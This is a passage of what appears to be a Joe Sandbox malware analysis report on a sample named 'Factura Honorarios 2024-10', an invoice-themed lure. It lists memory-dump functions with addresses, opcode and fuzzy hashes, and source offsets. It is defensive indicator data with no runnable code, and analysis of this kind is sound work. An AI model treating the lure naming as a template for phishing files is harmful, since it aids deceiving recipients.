String ID:
API String ID:
Opcode ID: ec4214136f627a8413dc671aa0fac2333a0b57aef8c95b62333a371ae44a2afc
Instruction ID: 1070425250362c73505f03da8778c427da4f1842e11a74903a59b545bad848c8
Opcode Fuzzy Hash: ec4214136f627a8413dc671aa0fac2333a0b57aef8c95b62333a371ae44a2afc
Instruction Fuzzy Hash: 1371C074E00218CFEB08DFA9C990ADEBBB6BF89304F649129D415BB354DB359986CF50

Function 3AD721B8 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015902819.000000003AD70000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AD70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ad70000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eeb288fc40a72c89904fc3201a232f5ee5cb24c0d22af707e58acdffdbc4c73e
Instruction ID: 840a45eed3e654879b36545dafc0b3c2b0912440e5146210134e1daf365b126b
Opcode Fuzzy Hash: eeb288fc40a72c89904fc3201a232f5ee5cb24c0d22af707e58acdffdbc4c73e
Instruction Fuzzy Hash: C971B074E00208DFEB08DFA9C990ADDBBB6BF89300F249129E815BB354DB359946DF50

Function 3AD6D410 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015879528.000000003AD60000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AD60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ad60000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56bd35db38f3f9394ab4f2cc22953606f97d3d345165b029e4844bd0c87704b7
Instruction ID: 618c55c536649cbd2abd17e29e27b3130fe34194c5eadefe1da592887b38a41b
Opcode Fuzzy Hash: 56bd35db38f3f9394ab4f2cc22953606f97d3d345165b029e4844bd0c87704b7
Instruction Fuzzy Hash: D771C074E00208DFEB04DFE9D990ADDBBB2AF89304F609129D419BB368DB359946CF50

Function 3AD673E0 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015879528.000000003AD60000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AD60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ad60000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8faf9d9b60244880c2185a93aa281397a2791d29143464dbd01df722e6a1f5cb
Instruction ID: 39b657de651091632b05c481c16f3adae58121dd27130e95a06477bb2b526f07
Opcode Fuzzy Hash: 8faf9d9b60244880c2185a93aa281397a2791d29143464dbd01df722e6a1f5cb
Instruction Fuzzy Hash: 7E71CF74E00208DFEB04DFE9C990ADDBBB2AF89304F649129D419BB364DB35A946CF50

Function 0016F71F Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2984945283.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b37eb4ffc58e718d3020104e5acac7508e6426b4f8d02607e7f896889231ae05
Instruction ID: 572ef7cb346c20b7023e9671f9c177a1732dc1c8ec069404f2083cfa468a639f
Opcode Fuzzy Hash: b37eb4ffc58e718d3020104e5acac7508e6426b4f8d02607e7f896889231ae05
Instruction Fuzzy Hash: 3061F074D01318DFDB14DFA5C954AAEBBB2BF88304F208529E809BB354DB355A46CF40

Function 0016D548 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2984945283.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd4c8bf0e9fcfc413684c50dfd280eb9017f607bd725dfb303ff568559264155
Instruction ID: 976cf8e4b241c26807d93005549879eb65f8d4c82f71741962c16302c6b5dc97
Opcode Fuzzy Hash: fd4c8bf0e9fcfc413684c50dfd280eb9017f607bd725dfb303ff568559264155
Instruction Fuzzy Hash: 1C518274E01218DFDB48DFAAD9849DDBBF2BF89300F249169E409AB365DB31A905CF50

Function 001641A0 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2984945283.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be89407d16ca09ef068772bbf37a25d66a0f4429189de7a3e3bc8d20c2ce407b
Instruction ID: 260d0008586e660d2cd15cf0c844f5caf5807619cc9e1140ee3251382e15aefd
Opcode Fuzzy Hash: be89407d16ca09ef068772bbf37a25d66a0f4429189de7a3e3bc8d20c2ce407b
Instruction Fuzzy Hash: 97519774E01208CFDB48DFA9D99499DBBF2FF89314B209069E805BB324DB35A952CF50

Function 0016A303 Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2984945283.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae0e617e4519bb1f5c85bd610615bb8530446970b37da9d4d80619b3e1e1412b
Instruction ID: 663f587d07435b92e6d9731c91c419473d121e2b79a568629cd66ca17aa333aa
Opcode Fuzzy Hash: ae0e617e4519bb1f5c85bd610615bb8530446970b37da9d4d80619b3e1e1412b
Instruction Fuzzy Hash: 5641BB31A04259DFCF15CFA8CC44AADBBB2BF49310F548056E805AB2A1D770E964CF62

Function 3AD6FB37 Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015879528.000000003AD60000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AD60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ad60000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d803eaac301886b38fff4e309ed04d3440c18e5ec5e5869608d8c10eb0126db
Instruction ID: 6908dfba4daedf06e9bfe69e86e5cda5a052d9556c0302e38f0d55db5f89fbe3
Opcode Fuzzy Hash: 7d803eaac301886b38fff4e309ed04d3440c18e5ec5e5869608d8c10eb0126db
Instruction Fuzzy Hash: 7F41BE74D052089FDB04CFA9C5946EDBBF1BF89304F60952AD815BB2A4DB385946CF50

Function 3AD6FB48 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015879528.000000003AD60000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AD60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ad60000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 587343985afba70db6eee9cf2468bf6d244a6ef65bb6c362422f7829b4a9b963
Instruction ID: aab52e004b410747ccf30bb005eea9151152d479387640478a84edf25916a26f
Opcode Fuzzy Hash: 587343985afba70db6eee9cf2468bf6d244a6ef65bb6c362422f7829b4a9b963
Instruction Fuzzy Hash: FE41A074D052089FDB04CFE9D5946DDBBF2BF88308F60902AD815B72A4DB385946CF54

Function 3AD7FB21 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015902819.000000003AD70000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AD70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ad70000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00f2623fed8ad264e49b0e2d43ee23313fbb60bd3138a6cce7cad71f452c0ab6
Instruction ID: 0e34a5a46208955f6698a9055736770ab017c2eec665f69b05481a690eb305a8
Opcode Fuzzy Hash: 00f2623fed8ad264e49b0e2d43ee23313fbb60bd3138a6cce7cad71f452c0ab6
Instruction Fuzzy Hash: 4C41F174E04608DBEB18DFAAD8406DDFBF2AF8A300F50D02AD818BB254EB355946CF55

Function 00169C30 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2984945283.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b5d3226da465a4fe105b4734678fea28f9e826bc619e95184982b66305b0736
Instruction ID: d3623f2ffd51abfc9a7a1b951a2a86bbcf233ead880bfd07391185f2b7db9877
Opcode Fuzzy Hash: 2b5d3226da465a4fe105b4734678fea28f9e826bc619e95184982b66305b0736
Instruction Fuzzy Hash: EA419E307002498FDB00DFA9CC44B6ABBEAEF89314F54C466E918CB266E775DC51DBA1

Function 3AD6E588 Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015879528.000000003AD60000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AD60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ad60000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c67bdf63a2eb4b4cd079583e7aee7fd271f2491c0b295437105129b040312fad
Instruction ID: 32d27ca982d52451a416558bfc59d26a9bc94389792508b7ecc3308cd6d0b2f7
Opcode Fuzzy Hash: c67bdf63a2eb4b4cd079583e7aee7fd271f2491c0b295437105129b040312fad
Instruction Fuzzy Hash: 453158357042529FDB158BB8889046D7BB2AF4221C3DB4966E078DB2B1DF20DC42C7E2

Function 00165658 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2984945283.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7d20bebcc7619eb59f6e1d23dadf7ec3d42d10e7b481d0c68f6ea05f5fafdfd
Instruction ID: ec09b32448af8763f86ecc26b5e89fa1b4610716c8d239ccb6868079e54722b9
Opcode Fuzzy Hash: a7d20bebcc7619eb59f6e1d23dadf7ec3d42d10e7b481d0c68f6ea05f5fafdfd
Instruction Fuzzy Hash: 35318F31609209DFCF059FA4DD95AAE3BA3EF89300F508029F91597295CB39DE61DBA0

Function 3AD78461 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015902819.000000003AD70000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AD70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ad70000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f9c4609b63432d45e10d9b33687b985521b3eca15fc093826321c727c2d20c2
Instruction ID: 5039c3517c6b08d64b94f38acd018cae44239d1a4cf642fb3fb1e95c9e6a1ce7
Opcode Fuzzy Hash: 0f9c4609b63432d45e10d9b33687b985521b3eca15fc093826321c727c2d20c2
Instruction Fuzzy Hash: 2331E0B4E002488BEB48CFAAD8406DDFBF2BF8A300F54D06AD419BB254EB355946CF55

Function 3AD673D0 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015879528.000000003AD60000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AD60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ad60000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71ca9179e7a119697cea62215639357e55f2f05d9195b74d9e26915fb3acdc6c
Instruction ID: 2a53182a83fbd4c3477ae5950c79b51bad389a4b86ea0e7a0f36884d00afc262
Opcode Fuzzy Hash: 71ca9179e7a119697cea62215639357e55f2f05d9195b74d9e26915fb3acdc6c
Instruction Fuzzy Hash: 3A310474E012488FDB48CFEAC9506DDBBF2AF8A304F64D46AD418BB264DB346942CF54

Function 3AD6D401 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015879528.000000003AD60000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AD60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ad60000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44b52508753c4e09dee6fd388cdafa9007bf3b36b6416da860d4fdf1c71ac9f2
Instruction ID: fd10350d794584940795188dd342f989b127f353265d2f495c8a6a20c5fce184
Opcode Fuzzy Hash: 44b52508753c4e09dee6fd388cdafa9007bf3b36b6416da860d4fdf1c71ac9f2
Instruction Fuzzy Hash: E331C274E016088BEB08CFEAD5506DDBBF2AF8A304F64D12AD418BB264EB345946CF54

Function 3AD721A7 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015902819.000000003AD70000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AD70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ad70000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e882b33a533ca21cf9cac1ffda439a1119b4a402796c9b1e1ecf21190cb277e
Instruction ID: 1c754298b5126ca452dc34e60ce83a0a8a0ac025ec2a1b5a920f47aac892415c
Opcode Fuzzy Hash: 3e882b33a533ca21cf9cac1ffda439a1119b4a402796c9b1e1ecf21190cb277e
Instruction Fuzzy Hash: 3C31C374E002488BEB18CFAAD5506DDBBF2AF8A300F64D02AD818BB254EB355942CF55

Function 3AD670AF Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015879528.000000003AD60000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AD60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ad60000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9aa87353e196894821c78f0ea6fc52308769a8424beffe93bf4a59c37114dc01
Instruction ID: 0b12aa46f5e70daa73a21c8cd4e3e15f73d330bd0880852f39a5dac91467a4f2
Opcode Fuzzy Hash: 9aa87353e196894821c78f0ea6fc52308769a8424beffe93bf4a59c37114dc01
Instruction Fuzzy Hash: 0D31B274E012088BEB08DFEAD8506DDBBF2BF8A304F50D16AD418BB264EB345946CF55

Function 3AD781DB Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015902819.000000003AD70000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AD70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ad70000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 509760d0ba5f3fc6d3a47a537ccaf2b0e52892338c2df3aec95fde4afc17f9b7
Instruction ID: e65e48b1bf619495d416c2dab523c7768a02eb952a97578ba3aa541d55ddc428
Opcode Fuzzy Hash: 509760d0ba5f3fc6d3a47a537ccaf2b0e52892338c2df3aec95fde4afc17f9b7
Instruction Fuzzy Hash: A631C574E016488BEB08CFEAD9506DEFBF2AF89304F64D02AD418BB254EB355942CF54

Function 39C5FC5B Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015303748.0000000039C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39c50000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f922c8c3cd27fcc986edf894d5b589282246903ac1783f22c30c5badc00cc827
Instruction ID: 90a8a4009f04e6c98f3db89a6af1e51061e295cd0a9a4c244e4913ef3865d2bd
Opcode Fuzzy Hash: f922c8c3cd27fcc986edf894d5b589282246903ac1783f22c30c5badc00cc827
Instruction Fuzzy Hash: 8231EF74E012488BEB08DFEAE8406DEBBF2BF8A300F54D16AD419BB254DB345902CF54

Function 00168380 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2984945283.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da0fe25f7300218a3218cf089c29a1532ba58ea22430abd1effb1def83857d8f
Instruction ID: d67ae87dfae139b39666e5df41e5c563b648ba7ed58d1ec76022f6ca6ca762f9
Opcode Fuzzy Hash: da0fe25f7300218a3218cf089c29a1532ba58ea22430abd1effb1def83857d8f
Instruction Fuzzy Hash: 5F21BE313042024BDB186B2ACC5473E66A7EFC5748F248139D406CB7A8EF6ACC93D392

Function 001628F0 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2984945283.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f04110f4d8f74cc5045b40bd64d4422200c457b1d4b507a54363a66b4bdaec5
Instruction ID: 50e5e9e2366ccb4c535b0f98fcf4cbb1a818eaee415864acb9077d03559b1f97
Opcode Fuzzy Hash: 7f04110f4d8f74cc5045b40bd64d4422200c457b1d4b507a54363a66b4bdaec5
Instruction Fuzzy Hash: B6218C75A005159FCB24DF74C8409AE77A5EBD9768F20C019D84A9B280DB38EE53CBD2

Function 0009D554 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2984656523.000000000009D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0009D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_9d000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e8bcc104757df970fb15f2bc66d01c4de277daa153a682d830bce02da0edeac
Instruction ID: 60d16c130a94acb0d227916c3c0a57bb57e090369012bd88bc0aadc796cab4b5
Opcode Fuzzy Hash: 8e8bcc104757df970fb15f2bc66d01c4de277daa153a682d830bce02da0edeac
Instruction Fuzzy Hash: 4F214871544200DFCF10DF14D9C0B2ABFA1FB98314F20C56AD9090B256C336D856EBA1

Function 0009D468 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2984656523.000000000009D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0009D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_9d000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5828ab60890716c3b76e0d37cfd30795ea6925432b58d4eca2ba893ae13271e9
Instruction ID: 4565c0e381463916acab8182fc459320ed064555739815940aba3e2fd6395d39
Opcode Fuzzy Hash: 5828ab60890716c3b76e0d37cfd30795ea6925432b58d4eca2ba893ae13271e9
Instruction Fuzzy Hash: FD213A71584200DFCF15DF14DAC0B1BBFA5FB94314F24C56AD9090B256C336D856E7A2

Function 0016AEF0 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2984945283.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1667f135ede91ee5771f2bb51d9ea4599bdc73ef46d87f91850eadd83bbf3f6b
Instruction ID: a434ff4e171548c648d49261106b254014c6c01c92abc77eef955cbd1bbfe3d8
Opcode Fuzzy Hash: 1667f135ede91ee5771f2bb51d9ea4599bdc73ef46d87f91850eadd83bbf3f6b
Instruction Fuzzy Hash: 4C21B0367002049BDB149F58EC84A9EBBF5FF88720F108066E915E7250DB72AC50CBA1

Function 00166300 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2984945283.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e1cce6497cf51ac2cf086d14745005bede00c1d69562bd4e88f6a77b2acf6cb
Instruction ID: 80bcb5a6282008f44683405a1ee37b446cd81005b6166e52ea822a7ceddce674
Opcode Fuzzy Hash: 1e1cce6497cf51ac2cf086d14745005bede00c1d69562bd4e88f6a77b2acf6cb
Instruction Fuzzy Hash: 2E2121353056118FCB199B2ADC9492EB7A2FFCA7547154039E80AEB7A4CF35EC02CB90

Function 000AD044 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2984691844.00000000000AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 000AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ad000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65fca742bbaae97bc371c15bcf55d465ac507d2a90817398babcb9ce95f50b47
Instruction ID: fd34caae4f2ceb859ffdeface12b1d093a7b4e51219088a8a3720a58a51c45a1
Opcode Fuzzy Hash: 65fca742bbaae97bc371c15bcf55d465ac507d2a90817398babcb9ce95f50b47
Instruction Fuzzy Hash: 21214971504204EFCB10CF64C9C4F26BBA1FB85314F20C66EE94A4F751C73AD846CA61

Function 00164285 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2984945283.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 574168c9702eb33a9e36d51a4789b9a327ad8f2817917085824c763bea792f13
Instruction ID: fa3fa2e09fccf2d253e873ec7dfb5345b06113aa2e481c8318c24940130d6cdf
Opcode Fuzzy Hash: 574168c9702eb33a9e36d51a4789b9a327ad8f2817917085824c763bea792f13
Instruction Fuzzy Hash: D5319D78E05208CFCB49DFA8D59489DBBB2FF49705B208069E819AB324DB35AD56CF40

Function 00165649 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2984945283.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff42dd27977e1e2297c9655ca6205eb0beda97ea199b1c6676c845deae3c95f8
Instruction ID: 88586dd49de154eee5e67916f0487b9e44c4e41a282484470ca966e40ef1a833
Opcode Fuzzy Hash: ff42dd27977e1e2297c9655ca6205eb0beda97ea199b1c6676c845deae3c95f8
Instruction Fuzzy Hash: A7210231609148DFCF059F68DD44BAE3BA2EF89314F104029F806AB355CB75DE61CBA0

Function 00169761 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2984945283.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 004fad6e5316e36a973498395ca386041845bb723f79ba9ab83aba8e53ad92f9
Instruction ID: c95c8b14915c024ddbf5f1faa3e1bdb3c69aa20ca4bb858c9c1c085a9d1f15c0
Opcode Fuzzy Hash: 004fad6e5316e36a973498395ca386041845bb723f79ba9ab83aba8e53ad92f9
Instruction Fuzzy Hash: E5216930E042499FDB05CFA5D950AEEBFBAAF49305F248069E415F72A0DB34D981DF60

Function 39C5992C Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015303748.0000000039C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39c50000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 188673783bc3330a06c7f88ba696da43e485ef3e34ee198b8019b3d68e700fbb
Instruction ID: 5a7b6f76be4912f5bff188c2f517690c2bb934bb0483ac362833a252c07d409c
Opcode Fuzzy Hash: 188673783bc3330a06c7f88ba696da43e485ef3e34ee198b8019b3d68e700fbb
Instruction Fuzzy Hash: 5A117274E002098FEB04DFAAE484A9DFBB5FF88304F5081A5E905E7246DB309D41CB64

Function 39C54632 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015303748.0000000039C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39c50000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3eda1fa8df7cab437b9d5cab18a37d102e5131d09d4cf3888349dd73a3e91cf
Instruction ID: cb0481deabe14d2ca325d6e99912bdc40766b1193b40c49fa2fddb25dc2b24e1
Opcode Fuzzy Hash: a3eda1fa8df7cab437b9d5cab18a37d102e5131d09d4cf3888349dd73a3e91cf
Instruction Fuzzy Hash: 921179767402008FD714CF6AE598A9AB7E6EF88765F1184BAE10ACB371CA71EC44CB50

Function 001662F0 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2984945283.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d11eeac5112de7014d5ee58ce62df60dcd304dd2f8fa652776b0eaaea403dbd
Instruction ID: b5998b1613a90ca081fc30b8feca8543cee03bcc42150b9ed1c9777f02809862
Opcode Fuzzy Hash: 5d11eeac5112de7014d5ee58ce62df60dcd304dd2f8fa652776b0eaaea403dbd
Instruction Fuzzy Hash: AC11E3357095118FCB194B29DCA453EBBA2BFC67553194079E40ADB760CF25DC028B90

Function 0016F640 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2984945283.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71d6f5bdfc13bb8ceb1c5f2d0110202cf4d9a29129c19a1cc80818414b32faed
Instruction ID: ca12e7d4134b7515eaceaa68f40e937cf49375e027d7a0f6674919584fa10bcb
Opcode Fuzzy Hash: 71d6f5bdfc13bb8ceb1c5f2d0110202cf4d9a29129c19a1cc80818414b32faed
Instruction Fuzzy Hash: 5E2181B0D042099FEB05DFB9D98069EBFF2FF85304F008579D044AB365EB745A0A9B81

Function 001627F0 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2984945283.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88e2eb0ca09bdb2db2f7e02f6d52a148002475d4a2fbaa49a1c50a68eba2aa16
Instruction ID: 134fbcf90b06e319f458396430e0289ea2e82d0e868ba0affa60aff585783e2a
Opcode Fuzzy Hash: 88e2eb0ca09bdb2db2f7e02f6d52a148002475d4a2fbaa49a1c50a68eba2aa16
Instruction Fuzzy Hash: A221BD78D0520A8FCB01EFA9D8445EEBFF4EF4A304F10516AD809B3620EB345A95CBA1

Function 39C54C00 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015303748.0000000039C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39c50000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3eb3e40a992fee7d61aa545938ae9366103fe038feb410c490b153aabe89c7b2
Instruction ID: c654bccac7f9e44f702607bc3647b38133b60e1d17858bb3b955773fac89cc96
Opcode Fuzzy Hash: 3eb3e40a992fee7d61aa545938ae9366103fe038feb410c490b153aabe89c7b2
Instruction Fuzzy Hash: D811A031E002198FCB10EFBBA4502DEBBF6AF88250B004139D40AE3205DF31AC42CBE5

Function 0009D54F Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2984656523.000000000009D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0009D000, based on PE: false

Joe Sandbox IDA Plugin

